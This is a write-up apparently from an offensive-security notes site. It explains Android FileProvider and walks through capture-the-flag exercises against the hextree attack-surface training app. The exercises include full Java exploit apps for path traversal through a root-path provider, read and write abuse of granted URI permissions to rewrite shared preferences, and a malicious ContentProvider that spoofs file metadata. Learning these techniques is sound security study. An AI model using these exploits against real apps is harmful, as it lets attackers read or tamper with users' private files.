offsecnotes

FileProvider

by frankheat

Overview

The Android FileProvider component generates content URIs for files based on provided XML specifications to offer a file from an application to another app.

Note: The FileProvider class is part of the AndroidX Core Library.

Specify the FileProvider

Defining a FileProvider requires an entry in the application manifest. This entry specifies the authority used to generate content URIs and identifies the XML file defining the shareable directories.

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.myapp">
    <application
        ...>
        <provider
            android:name="androidx.core.content.FileProvider"
            android:authorities="com.example.myapp.fileprovider"
            android:grantUriPermissions="true"
            android:exported="false">
            <meta-data
                android:name="android.support.FILE_PROVIDER_PATHS"
                android:resource="@xml/filepaths" />
        </provider>
        ...
    </application>
</manifest>

The android:authorities attribute specifies the URI authority to be used for content URIs generated by the FileProvider. The <meta-data> child element points to an XML file specifying the target directories. The android:resource attribute contains the path and name of the file, excluding the .xml extension.

<paths>
    <files-path path="images/" name="myimages" />
</paths>

In this example, the <files-path> tag shares directories within the files/ directory of the app’s internal storage. The path attribute specifies the images/ subdirectory. The name attribute instructs the FileProvider to add the path segment myimages to content URIs for files located in files/images/.

The <paths> element may contain multiple children, each specifying a different directory to share:

XML Tag Physical Location Equivalent Method
<files-path> The files/ subdirectory of the app’s internal storage area Context.getFilesDir()
<cache-path> The cache subdirectory of the app’s internal storage area Context.getCacheDir()
<external-path> Files in the root of the external storage area Environment.getExternalStorageDirectory()
<external-files-path> Files in the root of the app’s external storage area Context.getExternalFilesDir(null)
<external-cache-path> Files in the root of the app’s external cache area Context.getExternalCacheDir()
<external-media-path> Files in the root of the app’s external media area Context.getExternalMediaDirs()
<root-path> The root directory of the device /

These child elements all use the same attributes:

Important: The path value refers to a subdirectory, not individual files. Single files cannot be shared by specific filenames, nor can subsets of files be specified using wildcards.

Share the files

To share a file with another app using a content URI, the app must:

  1. Generate that URI with FileProvider.getUriForFile(). This method returns a content:// URI for files defined in the <paths> element of your FileProvider’s metadata.

    File newFile = new File(imagePath, "default_image.jpg"); 
    Uri contentUri = getUriForFile(getContext(), "example.myapp.fileprovider", newFile); 

    As a result of the previous snippet getUriForFile() returns the content URI content://com.example.myapp.fileprovider/myimages/default_image.jpg.

  2. Granting the receiving app permission to access that URI. This can be done either by explicitly calling grantUriPermission() for the target package or by adding the appropriate permission flags directly to the intent that carries the URI.


Vulnerabilities

Access sensitive files

The impact of being able to access to an app’s files can be high, depending on which files are affected.

Let’s start by analyzing the manifest for the io.hextree.attacksurface app. We see a FileProvider defined as follows:

<provider
    android:name="androidx.core.content.FileProvider"
    android:exported="false"
    android:authorities="io.hextree.files"
    android:grantUriPermissions="true">
    <meta-data
        android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/filepaths"/>
</provider>

The referenced @xml/filepaths resource configuration exposes the internal flags/ directory under the alias flag_files:

<paths>
    <files-path
        name="flag_files"
        path="flags/"/>
    <files-path
        name="other_files"
        path="."/>
</paths>

The manifest also exposes Flag34Activity:

<activity
    android:name="io.hextree.attacksurface.activities.Flag34Activity"
    android:exported="true"/>
public class Flag34Activity extends AppCompactActivity {
    ...
    public Flag34Activity() {...}

    @Override
    protected void onCreate(Bundle bundle) throws IOException {
        super.onCreate(bundle);
        String stringExtra = getIntent().getStringExtra("filename");
        if (stringExtra != null) {
            prepareFlag(this, stringExtra);
            Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.files", new File(getFilesDir(), stringExtra));
            Intent intent = new Intent();
            intent.setData(uriForFile);
            intent.addFlags(3);
            setResult(0, intent);
            return;
        }
    }
}

The target flag is located at /data/data/io.hextree.attacksurface/files/flags/flag34.txt file. To get it we can use invoke Flag34Activity using startActivityForResult. When the target activity returns the Intent, our onActivityResult method can use the granted URI permissions to read the file content.

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        ...
        Intent intent = new Intent();
        intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag34Activity");
        intent.putExtra("filename", "flags/flag34.txt");
        startActivityForResult(intent, 1);
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        Uri uri = data.getData();
        Log.d("uri", uri.toString());

        try {
            InputStream isr = getContentResolver().openInputStream(uri);
            BufferedReader reader = new BufferedReader(new InputStreamReader(isr));
            String line;
            while ((line = reader.readLine()) != null) {
                Log.d("line", line);
            }
            reader.close();
            isr.close();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

Output:

...  uri    ... D  content://io.hextree.files/flag_files/flag34.txt
...  line   ... D  HXT{...}

Insecure root-path FileProvider config

The <root-path> configuration is not inherently insecure, provided that only trusted files are shared. However, if the application allows an attacker to control the file path, this configuration can be abused to expose arbitrary internal files.

Let’s start by analyzing the manifest for the io.hextree.attacksurface app. We see a FileProvider defined as follows:

<provider
    android:name="io.hextree.attacksurface.providers.Flag35FileProvider"
    android:exported="false"
    android:authorities="io.hextree.root"
    android:grantUriPermissions="true">
    <meta-data
        android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/rootpaths"/>
</provider>

The referenced resource @xml/rootpaths reveals a critical misconfiguration. The <root-path> element maps the root_files alias to the system root (/):

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path
        name="root_files"
        path="/"/>
</paths>

Note: Using root-path allows the FileProvider to generate URIs for any file on the device filesystem, assuming the app has filesystem access to it.

The manifest also exposes Flag35Activity:

<activity
    android:name="io.hextree.attacksurface.activities.Flag35Activity"
    android:exported="true"/>
public class Flag35Activity extends AppCompactActivity {
    ...
    @Override
    protected void onCreate(Bundle bundle) throws IOException {
        super.onCreate(bundle);
        String stringExtra = getIntent().getStringExtra("filename");
        if (stringExtra != null) {
            prepareFlag(this, stringExtra);
            Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), stringExtra));
            Intent intent = new Intent();
            intent.setData(uriForFile);
            intent.addFlags(3);
            setResult(0, intent);
            return;
        }
        Uri uriForFile2 = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), "secret.txt"));
        Intent intent2 = new Intent();
        intent2.setData(uriForFile2);
        intent2.addFlags(3);
        setResult(-1, intent2);
    }
}

The target flag is located at /data/data/io.hextree.attacksurface/flag35.txt.

Although the code attempts to base the file lookup in getFilesDir() (which maps to /data/data/.../files/), the application does not sanitize the filename input. This allows for a Path Traversal attack.

Because the FileProvider is configured with <root-path path="/"/>, it will successfully generate a URI for a file even if we traverse outside the intended files/ directory.

We can exploit this by passing ../flag35.txt as the filename. This resolves the path to the parent directory where the flag resides.

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        ...
        Intent intent = new Intent();
        intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag35Activity");
        intent.putExtra("filename", "../flag35.txt");
        startActivityForResult(intent, 1);
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        Uri uri = data.getData();
        Log.d("uri", uri.toString());

        try {
            InputStream isr = getContentResolver().openInputStream(uri);
            BufferedReader reader = new BufferedReader(new InputStreamReader(isr));
            String line;
            while ((line = reader.readLine()) != null) {
                Log.d("line", line);
            }
            reader.close();
            isr.close();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }


    }
}
...  uri    ... D  content://io.hextree.root/root_files/data/data/io.hextree.attacksurface/flag35.txt
...  line   ... D  HXT{...}

Write access

The impact of being able to write to an app’s internal files can be severe, depending on which files are affected. Large, complex applications often use internal storage for a variety of purposes; for example, they may store and load native libraries from it. If you are able to overwrite such a native library, this can lead to remote code execution.

Let’s start by analyzing the manifest for the io.hextree.attacksurface app. We see a Flag36Activity defined as follows:

<activity
    android:name="io.hextree.attacksurface.activities.Flag36Activity"
    android:exported="true"/>
public class Flag36Activity extends AppCompactActivity {
    ...
    public Flag36Activity() {...}

    @Override
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        this.f = new LogHelper(this);
        this.f.addTag(Boolean.valueOf(Flag36Preferences.getBoolean("solved", false)));
        if (Flag36Preferences.getBoolean("solved", false)) {
            this.f.addTag(Flag36Preferences.class);
            success(this);
        } else {
            Log.i("Flag36", "Not solved yet: \"solved=false\" in the `Flag36Preferences` shared preferences");
        }
    }
}

The activity checks a boolean value named “solved” within the Flag36Preferences Shared Preferences file. By default, this value is false. To capture the flag, we must modify this value to true. We can achieve this by leveraging a previously identified path-traversal vulnerability in Flag35Activity. Flag35Activity returns a URI with permission flags set to 3 - intent.addFlags(3) - (which represents FLAG_GRANT_READ_URI_PERMISSION | FLAG_GRANT_WRITE_URI_PERMISSION). This grants us the ability to both read and overwrite files accessible via the provider.

So we can trigger Flag35Activity with a path traversal payload pointing to the Flag36Preferences.xml file, reads the content, replace false with true and write the content back to the file.

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        ...
        Intent intent = new Intent();
        intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag35Activity");
        intent.putExtra("filename", "../shared_prefs/Flag36Preferences.xml");
        startActivityForResult(intent, 1);
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        Uri uri = data.getData();
        Log.d("uri", uri.toString());

        try {
            // Read the file
            InputStream isr = getContentResolver().openInputStream(uri);
            BufferedReader reader = new BufferedReader(new InputStreamReader(isr));
            String line;
            StringBuilder text = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                text.append(line).append("\n");
            }
            reader.close();
            isr.close();

            // Modify the content
            String updatedText = text.toString().replace("false", "true");

            // Write the content
            OutputStream os = getContentResolver().openOutputStream(uri, "wt");
            BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(os));
            writer.write(updatedText);
            writer.flush();
            writer.close();
            os.close();

        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

Vulnerability in consuming FileProvider

Previously, we examined vulnerabilities on the “sending” side where apps insecurely expose content. Now, we shift our focus to the “receiving” side. A significant threat model exists where applications expect to consume data from an external ContentProvider/FileProvider. If the receiving app trusts the structure or content of the returned data without validation, it can be exploited.

The Flag37Activity accepts a data URI from an Intent and performs two checks before releasing the flag:

  1. Metadata check: It queries the URI and expects specific column values: _display_name must be ../flag37.txt and _size must be 1337.
  2. Content check: It opens an InputStream from the URI and reads the content. The content must equal give flag
public class Flag37Activity extends AppCompactActivity {
    public Flag37Activity() {...}

    @Override
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        Uri data = getIntent().getData();
        Cursor cursorQuery = null;
        try {
            try {
                cursorQuery = getContentResolver().query(data, null, null, null, null);
                if (cursorQuery != null && cursorQuery.moveToFirst()) {
                    String string = cursorQuery.getString(cursorQuery.getColumnIndex("_display_name"));
                    long j = cursorQuery.getLong(cursorQuery.getColumnIndex("_size"));
                    if ("../flag37.txt".equals(string) && j == 1337) {
                        InputStream inputStreamOpenInputStream = getContentResolver().openInputStream(data);
                        if (inputStreamOpenInputStream != null) {
                            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStreamOpenInputStream));
                            StringBuilder sb = new StringBuilder();
                            while (true) {
                                String line = bufferedReader.readLine();
                                if (line == null) {
                                    break;
                                } else {
                                    sb.append(line);
                                }
                            }
                            inputStreamOpenInputStream.close();
                            this.f.addTag(sb.toString());
                            if ("give flag".equals(sb.toString())) {
                                success(this);
                            } else {
                                Log.i("Flag37", "File content '" + ((Object) sb) + "' is not 'give flag'");
                            }
                        }
                    } else {
                        Log.i("Flag37", "File name '" + string + "' or size '" + j + "' does not match");
                    }
                }
                if (cursorQuery == null) {
                    return;
                }
            } catch (Exception e) {...}
            cursorQuery.close();
        } catch (Throwable th) {...}
    }
}

To get the flag, we must create a malicious app that serves a ContentProvider capable of satisfying both checks.

<?xml version="1.0" encoding="utf-8"?>
<manifest ...>
    <application ...
        <provider
            android:name=".AttackProvider"
            android:authorities="com.example.myapplication.attack.provider"
            android:enabled="true"
            android:exported="true"></provider>
    </application>
</manifest>
public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        ...
        Intent intent = new Intent();
        intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag37Activity");
        intent.setData(Uri.parse("content://com.example.myapplication.attack.provider/file.txt"));
        intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
        startActivity(intent);
    }
}
public class AttackProvider extends ContentProvider {
    public AttackProvider() {...}
    ...

    @Override
    public Cursor query(Uri uri, String[] projection, String selection,
                        String[] selectionArgs, String sortOrder) {

        MatrixCursor cursor = new MatrixCursor(new String[]{"_display_name", "_size"});
        cursor.addRow(new Object[]{"../flag37.txt", 1337});

        return cursor;
    }

    @Override
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        Log.i("AttackProvider", "openFile(" + uri.toString() + ")");

        try {
            ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
            ParcelFileDescriptor.AutoCloseOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1]);

            new Thread(() -> {
                try {
                    outputStream.write("give flag".getBytes());
                    outputStream.close();
                } catch (IOException e) {
                    Log.e("AttackProvider", "Error in pipeToParcelFileDescriptor", e);
                }
            }).start();

            return pipe[0];
        } catch (IOException e) {
            throw new FileNotFoundException("Could not open pipe for: " + uri.toString());
        }
    }
}